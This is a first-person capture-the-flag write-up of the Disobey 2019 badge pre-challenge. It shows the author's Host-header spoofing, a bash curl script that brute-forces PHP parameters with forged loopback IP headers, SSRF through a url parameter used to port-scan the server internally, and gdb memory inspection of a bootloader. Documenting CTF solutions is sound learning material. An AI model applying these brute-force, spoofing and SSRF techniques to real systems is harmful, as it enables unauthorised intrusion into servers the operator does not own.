Disobey 2019 prechallenge writeup
---------------------------------

So here goes nothing, my first ever writeup on any CTF. This CTF was for a limited amount of hacker-badges to the Finnish security event Disobey.


Getting started
---------------
So the page http://puzzle.disobey.fi/ seems to contain the default Nginx homepage. From the start page you can see (at latest from the source) that there's a link to lorem.html, which contains a long lorem ipsum. Also the CSS reveals a hint to DirBuster.


DirBuster needs a wordlist, so I decided to cat the the lorem.html's content through sed to a wordlist and use that with DirBuster:
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /Interdum/ - 401
File found: /lorem.html - 200
File found: /Interdum.php - 401
File found: /Interdum - 401
DirBuster Stopped

I also ran OpenDoor just to double check. OpenDoor found puzzle.disobey.fi/.bash_history, which contains:
ls -al
curl http://puzzle.disobey.fi/sicret_admin_address/
curl -O http://puzzle.disobey.fi/sicret_admin_address/mysql_backup.db
cat mysql_backup.db | base64 -d

Randomly poking around revealed a robots.txt, which contained nothing of interest.

Of course I ran Nmap against the server too, to check what was available. Nmap revealed that port 8021/TCP is open, which returns "Try harder!" when making an HTTP-request.

Next I decided to take a look at the http://puzzle.disobey.fi/sicret_admin_address/. The folder contained team-rot/REAMDE.txt:
Team ROT: You totally need try harder!
NotMyNick: FREEEEE BEEEEER! USE COUPON: BEER, PLZ!
whois: :salt:

As the db-file didn't seem to me to contain anything of interest paired with the content of the readme, this seems to be just an easter egg. If you're unfamiliar with them you can check out Team ROT and their writeup of this same challenge.


Round one
---------
So going back to the Interdum(.php). Telnetting to puzzle.disobey.fi:80 and telling:
GET /Interdum.php HTTP/1.1
Host: puzzle.disobey.fi
Gives the following error: "Wrong vhost". As the error from a straight request is 401, it means that we at least need to spoof the vhost or maybe the PHP file has some usr/pw variables needing to passed to it.

Let's try:
GET /Interdum.php HTTP/1.1
Host: disobey.fi
Gives: "Try harder - admin"

Next guess:
GET /Interdum.php HTTP/1.1
Host: admin

Gives: "Greetings! Love you <3 - I need -love also". Now we're on to something...

Then we'll try:
GET /Interdum-love (as .php gives 404)
Host: admin

Gives:
HTTP/1.1 301 Moved Permanently
Location: http://admin/Interdum-love/

One more time:
GET /Interdum-love/ HTTP/1.1
Host: admin

Says: HTTP/1.1 200 OK. And gives the HTML-file's content, in it couple of interesting things:
<a href="secret.txt">secret.txt</a>..02-Aug-2018 06:51..124
<a href="test.php">test.php</a>..02-Aug-2018 06:51..452

Then:
GET /Interdum-love/secret.txt HTTP/1.1
Host: admin

Once again: HTTP/1.1 200 OK:
Hi John!
Here is that secret email - encrypted with your favorite PIN-code!
SnVzdCBraWRkaW5nIC0gYmFzZTY0IGlzIGF3ZXNvbWUu

And
GET /Interdum-love/test.php HTTP/1.1
Host: admin

Gives: HTTP/1.1 403 Forbidden


OK now the first part, secret.txt, seems to contain a code, and by the looks of it it might be base64. Let's try decrypting it:
echo "SnVzdCBraWRkaW5nIC0gYmFzZTY0IGlzIGF3ZXNvbWUu" | base64 -d
"Just kidding - base64 is awesome."

OK so that would've been too easy...


Figuring out the params
-----------------------
Let's investigate the test.php then:

HTTP-GET gives 403 (so we don't have the needed credentials).

Let's assume that we can pass parameters to this .php. So I made a bash script that runs a list of 2000+ most common PHP-parameters to the test.php with the following syntax:
GET /Interdum-love/test.php?[PARAM]=1
Host: admin

Here's some prototype of the script. I used it with small modification throughout the whole challenge on the bruteforce testing (as I'm not a rich person who would buy the license for Burp). The script takes the wordlist-file as parameter when running it "bash brute.sh word/list/file.txt":
#!/bin/bash
rm responses
if [ $1 ]
then
	WORDLIST=$(cat $1)
	for WORD in $WORDLIST
	do
		echo -e "\n$WORD" >> responses
		curl -i -s -k -v -X $'GET' \
		-H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' \
		-H $'Host: admin' \
		-H $'x-originating-IP: 127.0.0.1' \
		-H $'x-forwarded-for: 127.0.0.1' \
		-H $'x-remote-IP: 127.0.0.1' \
		-H $'x-remote-addr: 127.0.0.1' \
		$'http://puzzle.disobey.fi:80/Interdum-love/test.php?'$WORD'=1' >> responses
	done
else
	echo "Remember to specify the wordlist to use!"
fi

Then I removed all the 403's from the log and one HTTP-code 200 remained. /Interdum-love/test.php?url=1 returned HTTP 200 code. There seems to be at least one parameter we can pass to test.php succesfully.

OK, so now we know we can exploit the test.php for SSRF-requests. Only clues are the paths listed on the NGINX default page. When trying to go for /usr/share/nginx/html it gives the 403 again. Let's see what the conf-file says:
telnet puzzle.disobey.fi 80
GET /Interdum-love/test.php?url=file:///etc/nginx/nginx.conf

--> returns HTTP 403 WAF... so it's stuck at Web Application Firewall...

Maybe something else? Passed OpenDoor's folderlist-wordlist to test.php?url=
-a bunch of requests return HTTP 200 OK
 -the interesting one is url=0/ which returns the content of the www index
 -0/ is the loopback address of the server

Portscan through SSRF
---------------------
So knowing now that the url-parameter takes at least the loopback interface as a variable (url=0/) I went full retard and ran a portscan on the server through curl with the previous GET, using ?url=0:PORT/ which results:
22
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Thu, 16 Aug 2018 08:49:46 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
SSH-2.0-OpenSSH_7.4

Protocol mismatch.


80
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Thu, 16 Aug 2018 08:49:51 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16

[THE CONTENT OF THE INDEX HTML]


8021
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Thu, 16 Aug 2018 09:01:42 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16

Try harder!
1


40053
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Thu, 16 Aug 2018 09:53:29 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16

H4sIAI5uYVsAA+3STUgUURwA8Oe2OyyGHyF4qMtb6KAXm+eubq7rmq5bFuWaHxGWyrrO5ObuzjI7Yx+o+47mQTp16rRHE9HwEBjjhjVUsBHdqktQxtQgSpgHE+utRkGEdBEJ/j8Y3vzn//HewOuTJCUqhfoFGe0ZnuerXS6cW93VVdsrX7kTM4QnboKJ0+nkK6vdlTzBPHHyLjfC/N4d6Tc1qYRkdpRBV4zsVsfKRHGX/M7P4F/rf+KzbRihzY2x0vYUyZC35Bl5RdbJd7L8EA1PvJzITLybML7No9FxVsAv8+uzlgUbmrPMHMiWyHalZDZv64m5zH/IlgTVj9rVlPHe8ule3n7/FPhHnZMiyYi1HJJN28pGVHeszmDroXQN9XAeqqDoVibtoSZq17la6tQ5L60wLV36NJ+xYmtxuo6lVnXORyvS9VTnTuSy01svrLZ0AwsbqUfn/PS4zjVRXucCtFLnTlKyUEONFqT1poznSBtNGY/RwlFq3ETU56IN6jHqq6J+tYz6qmmj6qA+N21SD2v3U8ZdpLG6O0hzUOM20t6kjHG0saYtpYwEoiMWp+rUAxY3HbETpVwP2IkeKKzXA0V1P2/1umaj80XIP+VFir3s6dajsTzzy+KDFW1jbQ5lS7125aC3QDkyV5gtnjSXgzq75IUz9mzxDGYPW83XLC5g7/nZ4sXOW0sXtI6UYUc9hpWdwtycsmcULtdsfl1ElxzduLWh5bQfozZJVQQcbM8vQE2R5CCWhVA/FkORqNDvYN9aZen6DZwU5CFBxoqE1aSARUnGoqCEByLxK1hklUlcJiWUiBQPRcs9GPmleFwI5+JcRywiy7mG7ZF4KBLCidxMVtcciipsRAXbJsjGi1HpGi7zDwjhwaQaY33JWIhtUo5Z/tSZi83hs8HucwPnO/raYpc7E73RZKS3K9wTRyz9pwZ/Y9M+XFYAAAAAAAAAAAAAAAAAAAAAAAAAAPAXPwDTbo0GACgAAA==

Booting the loader
------------------
The portscan returned two ports that were accessible from outside too, as we noted in the beginning after Nmap. Now we also know there's 22 SSH and something weird on 40053 open and accessible from the intranet.

The message on port 40053 seems to be base64. Let's try decoding it:
--> echo themessageabove | base64 -d just gives gibberish
--> maybe the output is a file, so let's direct it to a file called b64_d: echo themessageabove | base64 -d >> b64_d
  --> running "file b64_d" tells us it's a gzip file
  --> "mkdir uncomp", "mv b64_d uncomp/b64_d.gz", "cd uncomp" and then "gzip -d b64_d.gz"
  --> "nano b64" gives some weird, still kind of gibberishy bootloader/log
  --> "file b64" tells us it's a TAR-archive, so let's decompress it with "tar -xf b64"
  --> now we have the file called bootloader containing DOS/MBR sector


Information overflow
--------------------
Split the bootloader to 4096kb with dd and saved it as and .img and ran it as a virtual machine. The bootloader gave the same messages as I was able to see in cleartext with nano. The interesting part was that entering 18 characters or more as the proxy caused the overflow error message "Overflow (Checksum mismatch)".

As there didn't seem to be any other way, I decided to take a look at the memory after inserting different values causing the overflow and other situations.

Easiest way to access the memory was to emulate the bootloader with QEmu:
qemu-system-i386 bootloader -s

The -s handle runs the emulation as a service on port 1234, so we can use gdb to access the emulator's memory:
gdb
target remote localhost:1234
c (to activate access)

Then we enter something as the proxy address on the emulated bootloader.

Determined by testing that the overflow error displays when the input is greater or equal to 18 characters, so enter something as the proxy address and after you push enter go back to gdb and do CTRL+C. Then in gdb:
dump memory mdump 0 200000

The dump command dumps memory to file mdump starting from 0 and ending at 200000

Then hexedit mdump and you can find the following:
00008020  00 0A 0D 00  41 43 42 44   00 00 00 00  00 00 00 00    ....ACBD........
00008030  00 00 00 00  41 43 42 44   00 31 32 37  2E 30 2E 30    ....ACBD.127.0.0
00008040  2E 31 3A 38  30 32 31 3F   3D 47 49 56  45 5F 47 49    .1:8021?=GIVE_GI
00008050  56 45 5F 47  49 56 45 5F   4D 45 5F 4D  59 5F 54 49    VE_GIVE_ME_MY_TI
00008060  43 4B 45 54  00 00 00 00   00 00 00 00  00 00 00 00    CKET

I'm such a brute
----------------
Ran my own curl bruteforce script and tested the possible parameters with the value given above. So basically the script did GET /?data=GIVE_GIVE_GIVE_ME_MY_TICKET\n\n on puzzle.disobey.fi:8021:
data
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Mon, 27 Aug 2018 04:18:29 GMT
Content-Type: application/octet-stream
Content-Length: 81
Connection: keep-alive


HACKER! https://holvi.com/shop/Disobey/product/c995bdab7374d27f1250f1071c4a9b07/

And there we had the url for ordering the hacker ticket.


Everything done here was mostly new to me but solvable via trial and error. A big hand to whois, who kept pushing me to try harder and sometimes think simpler, as I tend to try and look for a solution too complex :)